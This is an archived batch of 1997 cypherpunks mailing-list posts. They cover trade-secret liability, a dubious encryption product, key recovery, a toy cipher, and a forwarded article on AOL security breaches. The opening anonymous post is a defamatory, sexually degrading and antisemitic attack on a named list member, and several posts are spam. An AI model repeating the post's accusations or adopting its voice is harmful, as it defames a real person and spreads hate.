Date: Wed, 8 Jan 1997 16:54:09 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: [ADMINISTRATIVIUM] Sphere packings
Message-ID: <199701090045.BAA16153@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain


Timmy Maypole the self-admitted child molester 
possesses a rudimentary dick less than one 
inch long, half the size of his mother's 
clitoris, that barely makes a fistful. Thereby 
hangs the root of this Jew-hating sissy's sick 
fixation on little boys and Usenet forgeries.

       <<<<
      o(0-0)o
   -ooO-(_) Ooo-- Timmy Maypole





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: KOO HOE-JUN <kooom@aminet.co.kr>
Date: Wed, 8 Jan 1997 08:55:43 -0800 (PST)
To: cypherpunks@toad.com
Subject: add me
Message-ID: <32D3D09A.247@aminet.co.kr>
MIME-Version: 1.0
Content-Type: text/plain


I'm interestin
mail list me too
e-mail:kooom@aminet.co.kr




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Michael Froomkin - U.Miami School of Law" <froomkin@law.miami.edu>
Date: Wed, 8 Jan 1997 22:53:09 -0800 (PST)
To: Black Unicorn <unicorn@schloss.li>
Subject: Trade secret liabilty  [Was Re: Sandy and I will]
Message-ID: <Pine.SUN.3.95.970109015336.25229O-100000@viper.law.miami.edu>
MIME-Version: 1.0
Content-Type: text/plain


a reliable friend wrote to me to say ...

<quote>
The Uniform Trade Secrets Act (which has been adopted by a
majority of jurisdiction) provides for liability of a third party who
knows or has reason to know that information he recieves or discloses
was acquired by improper means or under circumstances giving rise to
a fiduciary duty OR that he knows to be proprietary but which he
recieved by accident or mistake.  Depending on the facts, the
language could encompass a moderator who knew about or turned a blind
eye to distribution of trade secrets on his list.
</quote>


A. Michael Froomkin        | +1 (305) 284-4285; +1 (305) 284-6506 (fax)
Associate Professor of Law |
U. Miami School of Law     | froomkin@law.miami.edu
P.O. Box 248087            | http://www.law.miami.edu/~froomkin
Coral Gables, FL 33124 USA | It's warm here. 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Thu, 9 Jan 1997 00:26:17 -0800 (PST)
To: spanky@europa.com
Subject: Re: About ICF(International Cryptography Framework)
In-Reply-To: <32D2E95B.614E@europa.com>
Message-ID: <32D4C827.4FA4@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Pass me another! wrote:
> Okay...explain a done deal...

  A 'done deal' is where the Big Boys make all the decisions for the
rest of us, divide up the pie, and live happily ever after.
  (Unless, of course, somebody decides their piece of the pie isn't
big enough and they all start stabbing each other in the back.)

>  I thought that at
> one point the clipper chip was a done deal, but once it met the public
> eye, we blinked and rubbed that speck of dirt out....or so we thought.
> Where is our voice?  Does it no longer even exist????

  Sure it does. We get to say "Yes." and "How wonderful" as the Big Boys
slip us the cold, hard one from behind.
 
> > > I've also managed to get a hold of Ray Bamford
> > > (ray_bamford@hp.com)at HP
> > > who seems to have some PR role in this wool over the eyes attempt.
> >
> >   When you use the word 'censorship', does he counter-attack with the
> > word 'moderation'?
> 
> Geeeeee....how'd you guess?....Man these bootlickers make me sick.
> What's worse is some of these cronies I actually used to work with on a
> daily basis...but alas....because I was not bootlicker quality, I could
> no longer stay with the company I was working for.....Not Microsoft, not
> HP, not IBM...but damn those DAMNED chipmakers....

 The problem is that, once you're done licking their boots, they want
you
to set your sights a little higher.

Toto





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Black Unicorn <unicorn@schloss.li>
Date: Wed, 8 Jan 1997 23:31:16 -0800 (PST)
To: DataETRsch@aol.com
Subject: Re: New Release: Universal Data Cryptography Module V2.0
In-Reply-To: <970108211056_1622671474@emout11.mail.aol.com>
Message-ID: <Pine.SUN.3.94.970109022616.10573J-100000@polaris>
MIME-Version: 1.0
Content-Type: text/plain


On Wed, 8 Jan 1997 DataETRsch@aol.com wrote:

> Integrated Mathematical Data Manipulation and Positioning. Extensive research
> shows that IMDMP is more advanced than DES, RSA, IDEA, and PGP.

What research?
What is "extensive?"
What is "more advanced?"

> 
> UDCM (the IMDMP algorithm)...

> o Is more advanced than all of the industry standard encryption algorithms.

By who's standard?

> o Allows encryption keys as large as 256 bytes (2048 bits).

As if these directly correlate.

> o Includes 18 sub-algorithms.

The purpose of which is...?

> o Allows multiple encryption layer levels.

What encryption doesn't?

> o Has absolutely no back-doors or magical keys.

Says who?

> o Processes files as large as 2,147,483,390 bytes.

Why is there a limit?

--
Forward complaints to : European Association of Envelope Manufactures
Finger for Public Key   Gutenbergstrasse 21;Postfach;CH-3001;Bern
Vote Monarchist         Switzerland





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (Anonymous)
Date: Thu, 9 Jan 1997 00:55:15 -0800 (PST)
To: cypherpunks@toad.com
Subject: Aeon Flux
Message-ID: <199701090855.DAA17797@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


-






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Thu, 9 Jan 1997 02:08:57 -0800 (PST)
To: "Eric Verheul" <everheul@mail.rijnhaave.nl>
Subject: Re: IBM Key Recovery Propaganda on United Airlines
In-Reply-To: <199701090741.IAA28828@mail.rijnhaave.nl>
Message-ID: <199701091007.EAA05240@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----


In <199701090741.IAA28828@mail.rijnhaave.nl>, on 01/09/97 at 05:03 AM,
   "Eric Verheul" <everheul@mail.rijnhaave.nl> said:


>>   To me, Key Recovery cryptography is like using a condom with a
>> hole in it. No thanks.

>Actually, on microscopical level *all* condoms have holes in them; 
>the holes are just small enough for you not to worry bout it. The same 
>applies to (good!) Key Recovery cryptography: there are holes but not 
>big enough for you to worry about!

You are joking right??

Well I guess I will not need to worry about them since I will never run any GAK software
reguardless how may laws the jackboots in DC pass.

- --
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    WebExplorer & Java Enhanced!!!
Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice

Look for MR/2 Tips & Rexx Scripts
Get Work Place Shell for Windows!!
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: If Windows sucked it would be good for something.

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Version: 2.6.2

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brhNZV9ziBJkBSPOx4dZYnMTh9AqEZp2TOQ/vm6MVWFEFyVq8Y9f+9oAnfs+2iJF
R4HBGDmUQ6g=
=jMcQ
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jccsendto4@juno.com
Date: Thu, 9 Jan 1997 04:22:55 -0800 (PST)
To: cypherpunks@toad.com
Subject: FREEEEEE!!!!!!
Message-ID: <199701091222.EAA06698@dfw-ix12.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


While you are reading this I'll have made MORE MONEY!!!     Can you say the same thing?   If NOT....
DO NOT HIT REPLY.....just follow these three simple steps;

                              ....type in address to   jcc@mlweb.com
                              ....type in subject      FREE
                              ....type in body         MONEY
                              

You will receive via e-mail a comprehensive,dynamic FREE plan on how YOU can be doing the same thing!

It really does work, I'm proof it does.	

No, I'm not a company or organization, I'm someone like you...Everyday hard worker who has come across a plan that puts CASH in my mailbox almost every day!

Read it at your leisure after receiving and printing your FREE copy and then DO IT!!

You'll be glad you did!





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dans@pleaseread.com
Date: Thu, 9 Jan 1997 02:27:15 -0800 (PST)
Subject: Free Samples, Software, and MoreI would like to invite you, as an internet user, to be part of a marketing test where you can get FREE software, FREE Samples, and FREE computer related money making offers from manufacturers nationwide. You may be asked to give your opinion, but there is no obligation.
Message-ID: <199701091007.FAA11268@emin06.mail.aol.com>
MIME-Version: 1.0
Content-Type: text/plain


even if you had their addresses!  
	If do not want to get anymore e-mail reports like this, please send email to dans@pleaseread.com  with the word "REMOVE" in the subject or the body.
   		-Lisa
   
  
  






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: The Deviant <deviant@pooh-corner.com>
Date: Wed, 8 Jan 1997 21:16:49 -0800 (PST)
To: "Igor Chudov @ home" <ichudov@algebra.com>
Subject: Re: encryption program
In-Reply-To: <199701090132.TAA28002@manifold.algebra.com>
Message-ID: <Pine.LNX.3.95.970109050923.2428A-100000@random.sp.org>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

On Wed, 8 Jan 1997, Igor Chudov @ home wrote:

> Pierre -- 
> 
> Thanks for inventing an interesting encryption method. There is a
> mailing list for people interested in encryption, cypherpunks@toad.com,
> and they may be interested in trying to "break" your program. If we
> all cannot manage to break your program, you will have another assurance
> that your algorithm is correct.
> 
> Remember that in order to be a really useful product, crackers and
> hackers should not be able to break it EVEN IF THEY KNOW HOW IT WORKS. 
> 
> So, your explanations on how it actually works will be very helpful for
> all of us.
> 
> Cypherpunks, why don't we try to crack his encryption program? It seems
> like a fun exercise.
> 
> Below is his "encrypted" file from the link above. Let's see if anyone
> comes up with an idea to crack it!
> 
> 	- Igor.
> 
> ##> To help you:
> ##> - Only letters a..z and A..Z is encrypted.
> ##> - The first line decrypted reads:
> ##>  
> ##>  Here follows a example of the encryption program.  This text file was taken 
> ##>  
> ##> START:
> ##>  Dqma vkbcjtp z kggequp ix dvu noqwjzevfi lfkizgv.  Iquy aiay ifom gib knmdk 
> ##>  uwwt fhw wshg toaqyt cics.

Well, call it a hunch, but i'd say the first line of cyphertext is "Here
follows a example of the encryption program.  This text file was taken"

Why do i get the feeling whoever did this wasn't very bright?

It is, however, important to note that this isn't just simple
substitution, as shown in the word 'Here', where the cyphertext version is
not 3 characters with 1 repeating.

> ##>  
> ##>  Tjtj zbtp aufnapih f 100% MEM zmdlekbbii nvuivdpl cajzqqob gqet
> ##>  4DA kp hhtwan xzn s BED qxub. Jydi vfnpxtu zm GDL gpru kn rf faids
> ##>  vfhjdru 3.0 wa ynmbp.
> ##> 
> ##>  Zvu jxmx jpok wc nro xuevs PBM txu EPU gsfrc MXISCSX!
> ##> 
> ##>  Bmph zeuixzr kxv kqrv kcvpeb gwc uoct yjtsx eqr blc onmf jtnrbln fikacz
> ##>  fmekhow eytbeo cvw mpxoefb jk iyn itaqbdvkv kp cszegabp rul ttisadar
> ##>  nfldckfypzzt ixso galyx icro AI's wsdnk tgj sw ilmgzusr xblo st bjqix
> ##>  qvb ipcfaaqn lntf hxb. Pwic cg j ppac dl git rpxz jrrvyv grrbigqa eooi
> ##>  fsv nlpav.
> ##> 
> ##>  Ix qdcnmgwp nkrwvzwgq rmcl gny pqh afrnpdlmz bh quau NPJEOZ VDAD jcn
> ##>  bp kdps nq bxfjtx ut vkbf gqcx n Gnvpma Mxmw Isr (rhrmozm ry YCMWCEBR'z
> ##>  qxnhmacph).
> ##> 
> ##>  Kmmnx QAQDEV FVSW na g ugb jgvnus czrq, kzj btj skrupti dju lubxzfnob ivw
> ##>  tjd mltlcxm mzfg viynif oerx (rcf texryuhgvhh lz iyn gra mv pxxn sllxtpfu).
> ##> 
> ##> 
> ##>  VPGJBN JNHZYQG AGFAHQHX
> ##>  -----------------------
> ##> 
> ##>   Y. Fnbw U seilzzg wjq nwcc wae jwwmdob mbgkt rn xsir dplrf tj dqzclpvdaasi
> ##>      dnlsmw jn uxqd v DBAGD DBEIM 9874.
> ##>   V. Iyet bwxncnd mdeqmzpb 4XK bg pintxz wt aev.
> ##> 
> ##>      Yb bkr wsdx fhnm gclpwg, cap qoztki hdhrcp bbba ffsrk mm cjsm FFEXCA.TDZ
> ##>      kalm gytd gutndaq dpnk hdzkwg fnbw git kprvtwma ccerw.
> ##> 
> ##>      Pbg qpypmjf EJMDLJ.WKN prbthucy hxzb tbcmsfs iyn bsfijsyey hdokz:
> ##> 
> ##>       KALMF=20
> ##>       ZPKQUST=20
> ##> 
> ##>      Z ixyh ZFIYVZ.XGA crxg ckqm wam wjq nwcc qjt QMUSAXH dsi ei:
> ##> 
> ##>       bnztza=orhco.ipo
> ##>       zodpxw=agj386.imu tnqgq
> ##>       ckj=vbzb,vpm
> ##>       nnclpln= 30
> ##>       kwcnt= 20
> ##> 
> ##>      Stgrgwi, oavo JWVLSN.FEZ chqr jbzbr cxc gujg yw cgn heisgs. Cn
> ##>      vozmwxlmi kjdqk bnu 2 azha KDEIFF.NWN zs rjq bzyo g llyj gttvzon.
> ##> 
> ##> 
> ##>      QDUV LDLM HCASS SXXZHZTX XMEKKW LYA ESVCPNSUUY.
> ##> 
> ##> 
> ##>  ENFB NSPUY AAMHQYA, AFSCRKZ PAENMAC UG ZY RKJU
> ##>  ----------------------------------------------
> ##> 
> ##>  L.  Sxyi C pubyb mhm qshw wl "hpqob" iniym puy qkabanp "GP YPZTV NJPZ
> ##>      OTTFGQGK".
> ##>  V.  Eoih zm ozqlqrwfw i pkrimcnk fefewlm cubtrfno. Wjq gijbvgoh mgwm
> ##>      a hcdlgsg qdag ivkz utbwkab 360r xzn amiwn fv d tyvskkgq qmbn
> ##>      fhw LIPMXKRREOAB NH ejtg. Ahfvmu ixb llujnrw jz tkli idqyryr xobs.
> ##> 
> ##>  K.  Smre E sgs cos sphd vp "pwssh" ec.
> ##>  R.  Ami rurw pxwufm hurmha zm utzm tqi :-
> ##> 
> ##> END.
> ##> 
> ##> ** NOTE that this is really a letters with meaning to the right program it 
> ##> is NOT just a bunch of letters typed by myself.
> 
> > If you think this program can be used please reply to this letter and I 
> > will give you more information.
> > 
> > **PLEASE reply via e-mail ---> <a 
> > href="mailto:jvrooyen@liasec.infolink.co.za">CLICK HERE</a> to reply now.
> > 
> > Hope to hear from you soon.
> > 
> > Regards
> > Pierre van Rooyen
> > 
> 
> 
> 
> 	- Igor.
> 
> 

 --Deviant
   PGP KeyID = E820F015 Fingerprint = 3D6AAB628E3DFAA9 F7D35736ABC56D39

A Linux machine!  Because a 486 is a terrible thing to waste!
		-- Joe Sloan (jjs@wintermute.ucr.edu)


-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQEVAwUBMtR+yTCdEh3oIPAVAQEyHQf9EyGDQj5fDhJmEeGSc6iEgoX6MX88ugCu
zT0bwXzji79VLqgjEUcjvf/7A09dwgqdO2moCewmm1rnvgHq6eD/LwEIlx4t04fi
6+Qaz5T4GhkEvO81kJ3j0S2J5w9MirwmWeaoWeNu0nBkpH4iyw8FjF1rF9jwRw6A
pY6+wrEVxfRINgBlgko5Yr9gQGOuUIP4GaQQ/FJx2J86z9fwDIYcUfOT0Qt2ru2c
aZniCP6/YW83YKQftES/Z7chnYhknrxMeuN9aO6F7LbXu1j+4qR28AAvgl/dJQHn
oO4ZfTpDjKIbS2toLBnmtFyLJShpimDd6ocN3Re4Vmzr31eN3bR72Q==
=Ktmj
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: SECRET AGENT 66 <JOABJ@delphi.com>
Date: Thu, 9 Jan 1997 03:55:50 -0800 (PST)
To: cypherpunks@toad.com
Subject: AOL: The Happy Hacker
Message-ID: <01IDZZM7GVCY8X073K@delphi.com>
MIME-Version: 1.0
Content-Type: text/plain


From:	IN%"destiny@crl.com"  "David Cassel"  9-JAN-1997 05:27:47.48
To:	IN%"aol-list@cloud9.net"  "The AOL List"
CC:	
Subj:	The AOL List: The Happy Hacker

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Date: Thu, 09 Jan 1997 01:32:39 -0800 (PST)
From: David Cassel <destiny@crl.com>
Subject: The AOL List: The Happy Hacker
Sender: owner-aol-list@cloud9.net
To: The AOL List <aol-list@cloud9.net>
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		       T h e   H a p p y   H a c k e r

~++~++~++~++~++~++~++~++~++~++~++~++~++~++~++~++~++~++~++~++~++~++~++~++~++~ 

In 1995 a hacker named Happy Hardcore wrote a program that granted
unlimited free access to AOL.  Yesterday AOL issued a press release
applauding his conviction in a court in Virginia. 
(http://www.prnewswire.com/pdata/19970108-DCW022.html)

According to press accounts, Nicholas Ryan -- who studies computer science
at Yale university -- was found guilty of a felony offense under the
Computer Fraud and Abuse Act:  he illegally accessed AOL "and violated
AOL's terms of service". 

But AOL's press release doesn't tell the whole story.  The Washington Post
reported that in fact, AOL dropped over 370,000 subscribers between March
and June of 1996 "for credit card fraud, hacking, etc."  [9/16/96] Up
until September of 1995, AOL didn't even verify the authenticity of credit
card information submitted for free-trial accounts.  (And as of last year,
they'd distributed over 100 million of them.) Monday AOL shut local phone
access to the entire nation of Russia because it couldn't collect enough
accurate information to cover their expenses. 

Ryan was targeted because he created a program used by other hackers--and
because he publicly taunted AOL in the program's documentation.  He
included internal AOL e-mail (stolen by other hackers) discussing the
company's plans to thwart his program.  Ryan wasn't charged with creating
the program, but for accessing the system illegally--a crime he shared
with nearly half a million others. 

For six months of access, he faces a maximum of five years in prison and
$250,000 in fines.  Under AOL's new value plan, the stolen time would have
a cash value of $60. 

AOL's public statements indicate they want to appear tough on hackers --
especially now that they're seeking revenue from on-line transactions.  A
press release announcing the appointment of a vice president to AOL's
optimistically-named "Integrity Assurance" division stressed her previous
employment at the CIA--saying Tatiana Gau wants to "improve the world's
most secure online environment".  (The phrase "most secure"  appeared
three times.) Yesterday's announcement even asserted AOL had achieved "the
first successful computer fraud prosecution involving an Internet online
network."  (One technology correspondent quipped, "Maybe it means that
Kevin Mitnick is just a figment of Tsutomu Shimomoura's imagination.")
AOL's announcement went so far as to claim that AOL is safer than the
internet because AOL uses a private network. 

But safety still depends on how a network is administered.  In 1995, a
beta of AOL's telnet client put users directly behind their firewalls--and
earlier that year, AOL's mail server was accessible via telnet, allowing
forged mail from any AOL address. Hackers even took the stage during a
1995 celebrity appearance on AOL--then taunted the scheduled guest and the
event sponsors.  (http://www.aolsucks.org/security/recondite.html). "I am
sure Corporate Communications will be getting some questions about it,"
read an internal e-mail titled "Hacker Attack In the Rotunda Last Night". 
Ironically, that message later ended up on the AOL Security Page--"What
AOL Does Not Tell You."  http://www.netvirtual.com/blank/aol)

The next month AOL's CEO Steve Case wrote a letter to all users about
hacker problems, arguing that "it happens everywhere", and adding that
"when we discover hackers", AOL "aggressively take measures to head them
off".  But within days of that announcement, hackers were posting internal
mail that they'd stolen to the internet. They continued undaunted, posting
internal memos, and even Case's home address. In probably the most
embarrassing development, in-house mail ABOUT the hackers was being
circulated BY The hackers (ftp://ftp.crl.com/users/de/destiny/aol/hacker1) 
At the time, AOL spokeswoman Pam McGraw told me, "We've encountered these
problems in the past, and we make changes to the service as appropriate--
and as we can". 

The hackers had reverse-engineered AOL's "Rainman" software, which had
been mistakenly stored in AOL file libraries accessible by their hundreds
of remote staffers.  The company fumbled for an explanation--Pam McGraw
told the press AOL believed the heist was effected with the Visual Basic
macro program AOHell.  (Some later attributed her remarks to a deliberate
disinformation campaign--especially when, to suppress the program's
distribution, AOL later told Boardwatch magazine AOHell contained built-in
child pornography. ftp://ftp.boardwatch.com/aohell.txt)

But AOL's attempts to cover-up security breaches left their members even
more vulnerable. "I went to a bunch of new member chat rooms, used AOHell
to fish for passwords, and got 25 of them," one Usenet poster gloated. 
"Doesn't AOL tell its users to not do that?"  There were worse abuses. 
When AOL realized hackers could "sniff" passwords during TCP/IP
connections, staffers say they were warned--but not the customers.  "I
hope that AOL alerts the General Membership to this problem in a timely
manner," one staffer complained, "and not, as in the previous situation,
wait until they are forced to by negative news coverage."  Sources had
told the Wall Street Journal that the 1995 security breach included
hackers distributing customer credit card numbers in AOL hacker chat
rooms, and AOL had warned staffers about the breach--but didn't tell their
users (until the story broke in nationwide news reports.) 

The staffers complained AOL's hush-hush policy was aimed more at
protecting their image than protecting their customers.  In a memo warning
staffers not to speak to the press, Steve Case countered that "We need
everyone's support...to protect AOL's interest". That even applied AOL's
content providers.  Shortly before hackers took the stage at his live
event, the producer of AOL's MacWorld area asked AOL about earlier
problems.  He told me AOL had attributed them to "some security holes that
AOL promised were closed." 

It was when hackers took the stage that he found they were not. 

Even AOL's latest statements are suspect.  The press release claims that
AOL "immediately upgraded its security measures to prevent AOL4FREE or any
similar software from working".  But Nicholas Ryan told a different story. 
"AOL found a way to detect users of AOL4Free," began the program's
documentation.  "However, with only a few lines of additional code
AOL4Free is again undetectable!" 

Tatiana Gau's claims that AOL has a "zero tolerance" policy for hackers is
patently implausible.  Macromedia's software piracy suit fingered 67
screen names in 1995.  And over 70 came into play for the "Hacker Riot"
that November--a coordinated attack on the New Member Lounges
(http://www.getnet.com/~onion/work/planetmag/current/features/aolside.html)
lasting several hours and affecting hundreds of users.  This August AOL's
Chief Financial Officer even pointed to the fake accounts as a possible
culprit for the high figures on their subscriber churn rate.  And just six
weeks ago hackers doctored text at AOL keyword: legal. 
(http://www.news.com/News/Item/0,4,5712,00.html).  Even yesterday,
aolsucks.org received the comment, "AOL SUX!!!!!  Thats why I make fake
accounts with them!!!" 

Ironically, the documentation for AOL4Free ends with the classic hacker
manifesto "The Conscience of a Hacker."  The 1986 document ends, "I am a
criminal.  My crime is that of curiosity..."  

And most technology pundits agree.  AOL's MacWorld area was mailbombed for
a week and a half, with dozens of junk posts to its bulletin boards.  "We
hate that," their producer told me.  "Does that mean the FBI needs to be
brought in?  Probably not."  Chris Flores of Microsoft's Developer
Division agreed.  "If a Visual Basic program can automate hitting this key
and hitting that key, the blame should be on AOL for allowing a certain
keystroke to be hit...  They should think of AOHell as a blessing.  Since
they know about it, they know that they have a fault in their system." 
MacWorld's producer added, "You've got to admire the hacker ethic in a
certain way, because it's how things get done...how holes get patched." 

Indeed, as a result of the hacker presence, AOL began accompanying all
e-mail and instant messages with a warning in red letters--that AOL staff
will never ask you for your password.  One Florida resident with a degree
in criminology pointed out on Usenet that this alone wouldn't be
sufficient--because password-fishers were incorporating the warnings into
their scams!  ("Enter your password to confirm that you understand the
warning below."  "Enter your password now to turn on pass-block, which
offers protection beyond the simple password warning given below.")

Now AOL's 3.0 software requires users to download small software changes
before they can access the system.  Unfortunately, there's no way to opt
out--which creates a major security hole waiting to backfire. 

In any case, the hacker presence belies AOL's claims of the "highest level
of security".  In fact, Wired News reported that "Gau is confident, but
she knows she has her work cut out for her.  She's already spotted a link
on the Web announcing her arrival. It was titled 'Hackers are laughing.'". 


It was my page. 



THE LAST LAUGH

Within days of its creations, AOL threatened the AOL Security page with
charges of copyright infringement. 

Unfortunately, the tactic inspired three other sites to mirror the
documents--which are still there to this day.


        David Cassel
        More Information - http://www.wco.com/~destiny/time.htm


~++~++~++~++~++~++~++~++~++~++~++~++~++~++~++~++~++~++~++~++~++~++~++~++~++~
 Please forward with subscription information and headers in-tact.

 To subscribe to this moderated list, send a message to MAJORDOMO@CLOUD9.NET
 containing the phrase SUBSCRIBE AOL-LIST in the message body. To unsubscribe
 send a message saying UNSUBSCRIBE AOL-LIST to MAJORDOMO@CLOUD9.NET
~++~++~++~++~++~++~++~++~++~++~++~++~++~++~++~++~++~++~++~++~++~++~++~++~++~






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: roy@sendai.scytale.com (Roy M. Silvernail)
Date: Thu, 9 Jan 1997 05:34:31 -0800 (PST)
To: unicorn@schloss.li (Black Unicorn)
Subject: Re: New Release: Universal Data Cryptography Module V2.0
In-Reply-To: <Pine.SUN.3.94.970109022616.10573J-100000@polaris>
Message-ID: <970109.064711.6l4.rnr.w165w@sendai.scytale.com>
MIME-Version: 1.0
Content-Type: text


-----BEGIN PGP SIGNED MESSAGE-----

In list.cypherpunks, unicorn@schloss.li writes:

> On Wed, 8 Jan 1997 DataETRsch@aol.com wrote:

>> o Processes files as large as 2,147,483,390 bytes.
>
> Why is there a limit?

It's an MS-DOS limit.  The filesystem only can store a file 2^31 bytes
long, because the it stores the file size as a 32 bit signed integer.
What's interesting is that his stated limit is 258 bytes less than the
maximum file size, and his stated maximum key size is 256 bytes.  Makes
a guy wonder just what's in that 258 byte header.
- -- 
           Roy M. Silvernail     [ ]     roy@scytale.com
DNRC Minister Plenipotentiary of All Things Confusing, Software Division
PGP Public Key fingerprint =  31 86 EC B9 DB 76 A7 54  13 0B 6A 6B CC 09 18 B6
      Key available from pubkey@scytale.com, which works now

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQCVAwUBMtTpnxvikii9febJAQEdSAQAk0CuiCdpEojlZ9qguUbDQbpafAqnmQIO
CGuhAyDu/xQEk116lOsEtBjIYmqnxxsJ0ie1n7XB1dnJOs4oZ78wNvwvWq+5uUnw
huOygZ3anmd7WjGBtNn+Kwtr24GaSHqdR0MnDQtBpZJazInl9lajLbC4K2a3Pegn
P6js+VMS2NU=
=uCp6
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 9 Jan 1997 04:30:15 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Inflation-index bonds and private e-currency
In-Reply-To: <32D4909E.927@gte.net>
Message-ID: <yHJ0ZD39w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Dale Thorn <dthorn@gte.net> writes:

> Toto <toto@sk.sympatico.ca> writes:
> > Dale Thorn wrote:
> > > The Wall Street Cabal (as they say) was genuinely frightened that since
> > > Milken was so successful with high-yield bonds, they deliberately created
> > > the term Junk Bonds and flooded the markets with appropriate propaganda,
> > > and thereby killed off their competition.  How they turned it into a
> > > criminal offense is truly an art.
>
> > Is this anything similar to, say, calling certain posts by list
> > members 'spam', flooding the list with 'external' spam, and then
> > using the resulting uproar to take care of perceived 'internal' problems?
>
> The old "create the provocation then step in with the solution" trick?
>
> It must have been the Final Provocation, since we're about to get the
> Final Solution.

Look, the Reichstag is on fire!

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Thu, 9 Jan 1997 04:21:16 -0800 (PST)
To: cypherpunks@toad.com
Subject: Esnoop Corrections
Message-ID: <1.5.4.32.19970109121644.006793f4@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


RH helpfully noted errors in a few URLs in the 
"Electronic Surveillance" doc which have been
corrected:

     http://jya.com/esnoop.htm





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Thu, 9 Jan 1997 04:22:08 -0800 (PST)
To: cypherpunks@toad.com
Subject: Esnoop Corrections
Message-ID: <1.5.4.32.19970109121737.00695328@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


RH helpfully noted errors in a few URLs in the 
"Electronic Surveillance" doc which have been
corrected:

     http://jya.com/esnoop.htm





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Stephen Boursy <boursy@earthlink.net>
Date: Thu, 9 Jan 1997 04:25:05 -0800 (PST)
To: freedom-knights@jetcafe.org
Subject: Re: [STATS] Cypherpunks subscriptions on and off
In-Reply-To: <VcP9ZD29w165w@bwalk.dm.com>
Message-ID: <32D4E3B1.2B54@earthlink.net>
MIME-Version: 1.0
Content-Type: text/plain


Dr.Dimitri Vulis KOTM wrote:
> 
> Dave Hayes <dave@kachina.jetcafe.org> writes:
> 
>> Black Unicorn writes:
>>
>> > More fear from Mr. Thorn that his own time in the spotlight might be
>> > drawing to a close.  God forbid his captive audience might vanish.
>>
>> Tell me, how can an audience be captive when they control the "delete"
>> key?
> 
> Not only that - the "captive" audience has announced time and again
> that they've killfiled me, Dale, aga, and anyone else who dares to
> say something they don't like. They already have the power to ignore
> anyone they don't want to listen to. They want to stop Dale from
> communicating with the _non-captive audience that chooses not to
> ignore him.
> 
> P.S. They lie about their killfiles, of course - Ray Arachelian,
> Paul Bradley, et al follow up on everything posted by the people
> they claim to have killfiled! Their follow-ups are obsessive and
> repetitive: "I've *plonked* you, so I have the last word, nyah
> nyah". And the next day they reply to the same people they claim
> to be ignoring.
> 

  Those who publically *plonk* always lie from my experiences--they
are dishonest people.  Most who publically killfile not only still
read you but they are already obsessed with you and follow your
every word--their sole goal (and this is the sad part about their
lives) is to try to prevent others from reading your words.

                           Steve

> > Dave Hayes - Altadena CA, USA - dave@jetcafe.org
> > Freedom Knight of Usenet - http://www.jetcafe.org/~dave/usenet
> >
> > A voice whispered to me last night. It said: "There is no such thing
> > as a voice whispering in the night!"
> 
> ---
> 
> Dr.Dimitri Vulis KOTM
> Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ubs95@earthlink.net
Date: Thu, 9 Jan 1997 07:27:22 -0800 (PST)
To: cypherpunks@toad.com
Subject: Interested in making extra income?
Message-ID: <199701091527.HAA03723@latvia.it.earthlink.net>
MIME-Version: 1.0
Content-Type: text/plain


Suck_My_Big_Juicy_Cock,

Hello!

This is the only message you will recieve from us, so if you are not interested, we are sorry for the intrusion, just delete and we will not bother you again.

We need help in our mail order dept.  Would you like to be a catalog distrubutor?  Profits are very good!  For more information, DO NOT CLICK REPLY........

Send your inquirys to:   UBS95@IX.NETCOM.COM






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Thu, 9 Jan 1997 07:38:29 -0800 (PST)
To: Eric Verheul <everheul@mail.rijnhaave.nl>
Subject: Re: IBM Key Recovery Propaganda on United Airlines
In-Reply-To: <199701090741.IAA28828@mail.rijnhaave.nl>
Message-ID: <32D50F11.77D1@gte.net>
